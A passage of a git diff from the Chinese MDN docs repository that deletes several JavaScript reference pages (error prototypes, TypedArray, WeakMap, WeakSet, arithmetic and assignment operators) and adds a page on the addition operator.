{{JSRef}}
- -

SyntaxError.prototype 属性表示{{jsxref("SyntaxError")}} 构造器的原型.

- -

描述

- -

所有 {{jsxref("SyntaxError")}} 实例继承自 SyntaxError.prototype. 你可以使用该原型给所有实例添加属性和方法.

- -

属性

- -
-
SyntaxError.prototype.constructor
-
创建实例的构造函数.
-
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
-
错误信息. 尽管 ECMA-262 指出, {{jsxref("SyntaxError")}} 应该提供其子什么的信息属性,但在 SpiderMonkey 中, 仍是继承自{{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
-
错误的名称.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
-
抛出该异常的文件路径.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
-
抛出该异常的文件的行号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
-
抛出该异常的文件的列数. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
-
栈追踪信息. 继承自 {{jsxref("Error")}}.
-
- -

方法

- -

尽管 {{jsxref("SyntaxError")}} 原型对象自身不包含任何方法,但 {{jsxref("SyntaxError")}} 实例从原型链中继承了一些方法.

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html deleted file mode 100644 index ae9f64bf5e..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: TypedArray.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype ---- -
{{JSRef}}
- -

TypedArray.prototype属性表示{{jsxref("TypedArray")}}构造器的原型.

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("TypedArray")}} 实例继承自 {{jsxref("TypedArray.prototype")}}. 你可以通过该原型对象为所有的类型化数组(typed array types)实例添加属性和方法.

- -

关于继承的更多的信息请参见关于TypedArray 的描述.

- -

属性

- -
-
TypedArray.prototype.constructor
-
返回创建实例原型的构造函数.这是相应的typed array type的默认的构造函数.
-
{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}
-
返回被格式化数组引用的{{jsxref("ArrayBuffer")}}. 创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}
-
返回从{{jsxref("ArrayBuffer")}}读取的字节长度. 创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}
-
返回从{{jsxref("ArrayBuffer")}}读取时的字节偏移量.创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}
-
返回在类型化数组中的元素的数量.创建时已被固化,因此是只读的.
-
- -

methods

- -
-
{{jsxref("TypedArray.prototype.copyWithin()")}}
-
浅拷贝数组的部分元素到同一数组的不同位置,且不改变数组的大小,返回该数组. 参见 {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.entries()")}}
-
返回一个 Array Iterator 对象,该对象包含数组中每一个索引的键值对.参见 {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.prototype.every()")}}
-
测试数组的所有元素是否都通过了指定函数的测试. 参见{{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.prototype.fill()")}}
-
将一个数组中指定区间的所有元素的值, 都替换成或者说填充成为某个固定的值. 参见 {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.prototype.filter()")}}
-
使用指定的函数测试所有元素,并创建一个包含所有通过测试的元素的新数组. 参见 {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.prototype.find()")}}
-
返回一个满足提供的函数的测试的元素,若是没有满足的元素则返回undefined . 参见 {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.prototype.findIndex()")}}
-
查找数组中某指定元素的索引, 如果找不到指定的元素, 则返回 -1. 参见 {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.prototype.forEach()")}}
-
对数组的每个元素执行一次提供的函数(回调函数). 参见 {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}
-
确定一个类型化数组是否包括了某个元素,包含就返回true,不包含就返回false.参见 {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.prototype.indexOf()")}}
-
返回数组中第一个等于指定值得元素的索引,如果找不到则返回-1. 参见 {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.prototype.join()")}}
-
将数组中的所有元素连接成一个字符串. 参见 {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.prototype.keys()")}}
-
返回一个新的包含数组索引的数组迭代器. 参见 {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.prototype.lastIndexOf()")}}
-
返回数组中最后一个等于指定值得元素的索引,如果找不到则返回-1.参见 {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.prototype.map()")}}
-
创建一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组.参见 {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
以前的不标准版本的 {{jsxref("TypedArray.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.reduce()")}}
-
接收一个函数作为累加器(accumulator),数组中的每个值(从左到右)开始合并,最终为一个值. 参见{{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.prototype.reduceRight()")}}
-
接受一个函数作为累加器(accumulator),让每个值(从右到左,亦即从尾到头)缩减为一个值.(与 reduce() 的执行方向相反). 参见{{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.prototype.reverse()")}}
-
颠倒数组中元素的位置。第一个元素会成为最后一个,最后一个会成为第一个. 参见 {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.prototype.set()")}}
-
读取一个指定数组中的元素保存到格式化数组中.
-
{{jsxref("TypedArray.prototype.slice()")}}
-
浅复制(shallow copy)数组的一部分到一个新的数组,并返回这个新数组. 参见 {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.prototype.some()")}}
-
数组中只要有一个元素满足提供的测试函数的测试就返回true,否则返回false. 参见 {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.prototype.sort()")}}
-
对数组进行排序,并返回原数组(是改变原数组). 参见 {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.prototype.subarray()")}}
-
返回给定的起始和结束索引之间的元素组成的新的类型化数组.
-
{{jsxref("TypedArray.prototype.values()")}}
-
返回有数组中的元素组成的新的数组迭代对象. 参见 {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.prototype.toLocaleString()")}}
-
返回一个将数组中的每个元素本地化后组成的字符串. 参见 {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.prototype.toString()")}}
-
返回一个由数组中的每个元素字符串化后组成的字符串. 参见 {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
-
返回一个包含数组中每个元素的新的数组迭代对象.
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7.0{{ CompatGeckoDesktop("2") }}1011.65.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}1011.64.2
-
- -

参见

- - diff --git a/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html deleted file mode 100644 index 42abf0c422..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: TypeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype -tags: - - Error - - JavaScript - - TypeError - - 原型 - - 错误 -translation_of: Web/JavaScript/Reference/Global_Objects/TypeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype ---- -
{{JSRef}}
- -

TypeError.prototype 属性表示 {{jsxref("TypeError")}}构造函数的原型。

- -

 

- -

描述

- -

所有{{jsxref("TypeError")}}实例都继承自TypeError.prototype。您可以使用原型向所有实例添加属性或方法

- -

 

- -

属性

- -
-
TypeError.prototype.constructor
-
声明创建实例原型 (prototype) 的方法。
-
{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}
-
错误信息。虽然 ECMA-262 规范指出 {{jsxref("TypeError")}} 应该实现其自身的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
-
{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}
-
错误名称。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}
-
引起该错误的代码所在文件的路径。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}
-
引起错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}
-
引起错误的代码所在列的列号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}
-
堆栈跟踪记录。 继承自 {{jsxref("Error")}}。
-
- -

方法

- -

尽管 {{jsxref("TypeError")}} 不包含任何自己的方法, 但{{jsxref("TypeError")}}的实例通过原型链继承了一些方法。

- -

 

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为 NativeError.prototype.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.TypeError")}}

- -
 
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html deleted file mode 100644 index c5d381250a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: URIError.prototype -slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/URIError -translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype ---- -
{{JSRef}}
- -
URIError.prototype 属性表示 {{jsxref("URIError")}} 构造器的原型。
- -

描述

- -

所有的 {{jsxref("URIError")}} 实例都继承自 URIError.prototype。 可以通过原型(prototype) 给所有的实例添加属性或者方法。

- -

属性

- -
-
URIError.prototype.constructor
-
声明创建实例原型 (prototype) 的方法。
-
{{jsxref("Error.prototype.message", "URIError.prototype.message")}}
-
错误信息。虽然 ECMA-262 规范指出 {{jsxref("URIError")}} 应该提供其自己专属的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}
-
{{jsxref("Error.prototype.name", "URIError.prototype.name")}}
-
错误名称。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}
-
产生该错误的代码所在文件的路径。 继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}
-
产生该错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}
-
产生该错误的代码所在列的列号。 继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}
-
堆栈记录。继承自 {{jsxref("Error")}}。
-
- -

方法

- -

虽然 {{jsxref("URIError")}} 的原型对象自身不包含任何方法,但是 {{jsxref("URIError")}} 的实例通过原型链(prototype chain)继承了一些方法。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}} 定义为NativeError.prototype.
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.URIError")}}

-
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html deleted file mode 100644 index 27f1ff412a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: WeakMap.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype ---- -
{{JSRef}}
- -

WeakMap.prototype属性表现为 {{jsxref("WeakMap")}}的构造器。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("WeakMap")}} 实例从 {{jsxref("WeakMap.prototype")}}继承了所有属性。你可以在WeakMap构造器中添加属性和方法,从而使得所有实例中都有效。

- -

WeakMap.prototype 本身只是一个普通的对象:

- -
Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
- -

属性

- -
-
WeakMap.prototype.constructor
-
返回创建WeakMap实例的原型函数。 {{jsxref("WeakMap")}}函数是默认的。
-
- -

方法

- -
-
{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}
-
移除key的关联对象。执行后 WeakMap.prototype.has(key)返回false。
-
{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}
-
返回key关联对象, 或者 undefined(没有key关联对象时)。
-
{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}
-
根据是否有key关联对象返回一个Boolean值。
-
{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}
-
在WeakMap中设置一组key关联对象,返回这个 WeakMap对象。
-
{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
-
WeakMap中移除所有的 key/value 。 注意,该方法已弃用,但可以通过创建一个空的WeakMap并替换原对象来实现 (参看 {{jsxref("WeakMap")}}的后半部分)
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support36{{CompatGeckoDesktop("6.0")}}11237.1
Ordinary object{{CompatUnknown}}{{CompatGeckoDesktop("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("6.0")}}{{CompatNo}}{{CompatNo}}8
Ordinary object{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另请参阅

- -
    -
  • {{jsxref("Map.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html deleted file mode 100644 index 572ab1ac73..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: WeakSet.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype ---- -
{{JSRef("Global_Objects", "WeakSet")}}
- -

Summary

- -

The WeakSet.prototype property represents the prototype for the {{jsxref("WeakSet")}} constructor.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

{{jsxref("WeakSet")}} instances inherit from {{jsxref("WeakSet.prototype")}}. You can use the constructor's prototype object to add properties or methods to all WeakSet instances.

- -

Properties

- -
-
WeakSet.prototype.constructor
-
返回构造函数即 {{jsxref("WeakSet")}} 本身.
-
- -

Methods

- -
-
{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}
-
 在该 WeakSet 对象中添加一个新元素 value.
-
{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}
-
该 WeakSet 对象中删除 value 这个元素, 之后 WeakSet.prototype.has(value) 方法便会返回 false.
-
{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}
-
返回一个布尔值,  表示给定的值 value 是否存在于这个 WeakSet 中.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

Chrome-specific notes

- -
    -
  • This feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.
  • -
- -

See also

- -
    -
  • {{jsxref("Set.prototype")}}
  • -
  • {{jsxref("WeakMap.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/operators/addition/index.html b/files/zh-cn/web/javascript/reference/operators/addition/index.html new file mode 100644 index 0000000000..6da432b4e6 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/addition/index.html @@ -0,0 +1,79 @@ +--- +title: 相加运算符 (+) +slug: Web/JavaScript/Reference/Operators/相加 +translation_of: Web/JavaScript/Reference/Operators/Addition +--- +
{{jsSidebar("相加运算符")}}
+ +

相加运算符 (+) 用于对两个操作数进行相加运算,如果操作数为字符串则该运算符将两个操作数连接成一个字符串。

+ +
{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
+ +
+ + + +

语法

+ +
表达式: x + y
+
+ +

示例

+ +

数字的相加运算

+ +
// Number + Number -> addition
+1 + 2 // 3
+
+// Boolean + Number -> addition
+true + 1 // 2
+
+// Boolean + Boolean -> addition
+false + false // 0
+
+ +

字符串相加运算

+ +
// String + String -> concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -> concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -> concatenation
+'foo' + false // "foofalse"
+ +

注: '+'两侧只要有一侧是字符串,另一侧的数字则会自动转换成字符串,因为其中存在隐式转换

+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.addition")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html b/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html deleted file mode 100644 index 917ac03b06..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html +++ /dev/null @@ -1,302 +0,0 @@ ---- -title: 算术运算符 -slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---- -
{{jsSidebar("Operators")}}
- -

算术运算符以数值(字面量或变量)作为其操作数,并返回一个单个数值。标准算术运算符是加法(+),减法(-),乘法(*)和除法(/)。

- -
{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}
- - - -

加法 (+)

- -

加法运算符的作用是数值求和,或者字符串拼接。

- -

语法

- -
运算符: x + y
-
- -

示例

- -
// Number + Number -> 数字相加
-1 + 2 // 3
-
-// Boolean + Number -> 数字相加
-true + 1 // 2
-
-// Boolean + Boolean -> 数字相加
-false + false // 0
-
-// Number + String -> 字符串连接
-5 + "foo" // "5foo"
-
-// String + Boolean -> 字符串连接
-"foo" + false // "foofalse"
-
-// String + String -> 字符串连接
-"foo" + "bar" // "foobar"
-
- -

减法 (-)

- -

减法运算符使两个操作数相减,结果是它们的差值。

- -

语法

- -
运算符: x - y
-
- -

示例

- -
5 - 3 // 2
-3 - 5 // -2
-"foo" - 3 // NaN
- -

除法 (/)

- -

除法运算符的结果是操作数的商 ,左操作数是被除数,右操作数是除数。

- -

语法

- -
运算符: x / y
-
- -

示例

- -
1 / 2      // 在 JavaScript 中返回 0.5
-1 / 2      // 在 Java 中返回 0
-// (不需要数字是明确的浮点数)
-
-1.0 / 2.0  // 在 JavaScript 或 Java 中都返回 0.5
-
-2.0 / 0    // 在 JavaScript 中返回 Infinity
-2.0 / 0.0  // 同样返回 Infinity
-2.0 / -0.0 // 在 JavaScript 中返回 -Infinity
- -

乘法 (*)

- -

乘法运算符的结果是操作数的乘积。

- -

语法

- -
运算符: x * y
-
- -

示例

- -
2 * 2 // 4
--2 * 2 // -4
-Infinity * 0 // NaN
-Infinity * Infinity // Infinity
-"foo" * 2 // NaN
-
- -

求余 (%)

- -

求余运算符返回第一个操作数对第二个操作数的模,即 var1 对 var2 取模,其中 var1 和 var2 是变量。取模功能就是 var1 除以 var2 的整型余数。

- -

语法

- -
运算符: var1 % var2
-
- -

示例

- -
12 % 5 // 2
--1 % 2 // -1
-NaN % 2 // NaN
-1 % 2 // 1
-2 % 3 // 2
--4 % 2 // -0
-5.5 % 2 // 1.5
-
- -

幂 (**)

- -

幂运算符返回第一个操作数做底数,第二个操作数做指数的乘方。即,var1var2,其中 var1var2 是其两个操作数。幂运算符是右结合的。a ** b ** c 等同于 a ** (b ** c)

- -

语法

- -
运算符: var1 ** var2
-
- -

注解

- -

包括 PHP 或 Python 等的大多数语言中,都包含幂运算符(一般来说符号是 ^ 或者 **)。这些语言中的幂运算符有着比其他的单目运算符(如一元 + 或一元 - )更高的优先级。但是作为例外,在 Bash 中,**  运算符被设计为比单目运算符优先级更低。在最新的 JavaScript(ES2016) 中,禁止使用带歧义的幂运算表达式。比如,底数前不能紧跟一元运算符(+/-/~/!/delete/void/typeof)。

- -
-2 ** 2;
-// 在 Bash 中等于 4 ,而在其他语言中一般等于 -4
-// 在 JavaScript 中是错误的,因为这会有歧义
-
--(2 ** 2);
-// -4 在 JavaScript 中能够明显体现出作者的意图
- -

示例

- -
2 ** 3 // 8
-3 ** 2 // 9
-3 ** 2.5 // 15.588457268119896
-10 ** -1 // 0.1
-NaN ** 2 // NaN
-
-2 ** 3 ** 2 // 512
-2 ** (3 ** 2) // 512
-(2 ** 3) ** 2 // 64
-
- -

如果要反转求幂表达式结果的符号,你可以采用这样的方式:

- -
-(2 ** 2) // -4
- -

强制求幂表达式的基数为负数:

- -
(-2) ** 2 // 4
- -

递增 (++)

- -

递增运算符为其操作数增加1,返回一个数值。

- -
    -
  • 如果使用后置(postfix),即运算符位于操作数的后面(如 x++),那么将会在递增前返回数值。
  • -
  • 如果使用前置(prefix),即运算符位于操作数的前面(如 ++x),那么将会在递增后返回数值。
  • -
- -

语法

- -
运算符: x++ 或者 ++x
-
- -

示例

- -
// 后置
-var x = 3;
-y = x++;
-// y = 3, x = 4
-
-// 前置
-var a = 2;
-b = ++a;
-// a = 3, b = 3
-
- -

递减 (--)

- -

递减运算符将其操作数减去1,并返回一个数值。

- -
    -
  • 如果后置使用(如 x--),则在递减前返回数值。
  • -
  • 如果前置使用(如 --x),则在递减后返回数值。
  • -
- -

语法

- -
运算符: x-- or --x
-
- -

示例

- -
// 后置
-var x = 3;
-y = x--; // y = 3, x = 2
-
-// 前置
-var a = 2;
-b = --a; // a = 1, b = 1
-
- -

一元负号 (-)

- -

一元负号运算符位于操作数前面,并转换操作数的符号。

- -

语法

- -
运算符: -x
-
- -

示例

- -
var x = 3;
-y = -x; // y = -3, x = 3
-
- -

一元正号 (+)

- -

一元正号运算符位于其操作数前面,计算其操作数的数值,如果操作数不是一个数值,会尝试将其转换成一个数值。 尽管一元负号也能转换非数值类型,但是一元正号是转换其他对象到数值的最快方法,也是最推荐的做法,因为它不会对数值执行任何多余操作。它可以将字符串转换成整数和浮点数形式,也可以转换非字符串值 truefalse  null。小数和十六进制格式字符串也可以转换成数值。负数形式字符串也可以转换成数值(对于十六进制不适用)。如果它不能解析一个值,则计算结果为 NaN

- -

语法

- -
运算符: +x
-
- -

示例

- -
+3     // 3
-+"3"   // 3
-+true  // 1
-+false // 0
-+null  // 0
-+function(val){ return val;} //NaN
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.3')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2015', '#sec-postfix-expressions')}}{{Spec2('ES2015')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2016', '#sec-postfix-expressions')}}{{Spec2('ES2016')}}Added Exponentiation operator.
{{SpecName('ES2017', '#sec-postfix-expressions')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-additive-operators')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.arithmetic")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html b/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html deleted file mode 100644 index 66ae471cde..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html +++ /dev/null @@ -1,413 +0,0 @@ ---- -title: 赋值运算符 -slug: Web/JavaScript/Reference/Operators/Assignment_Operators -tags: - - JavaScript - - 运算符 -translation_of: Web/JavaScript/Reference/Operators#Assignment_operators -translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators ---- -
{{jsSidebar("Operators")}}
- -

赋值运算符(assignment operator)基于右值(right operand)的值,给左值(left operand)赋值。

- -
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
- - - -

概述

- -

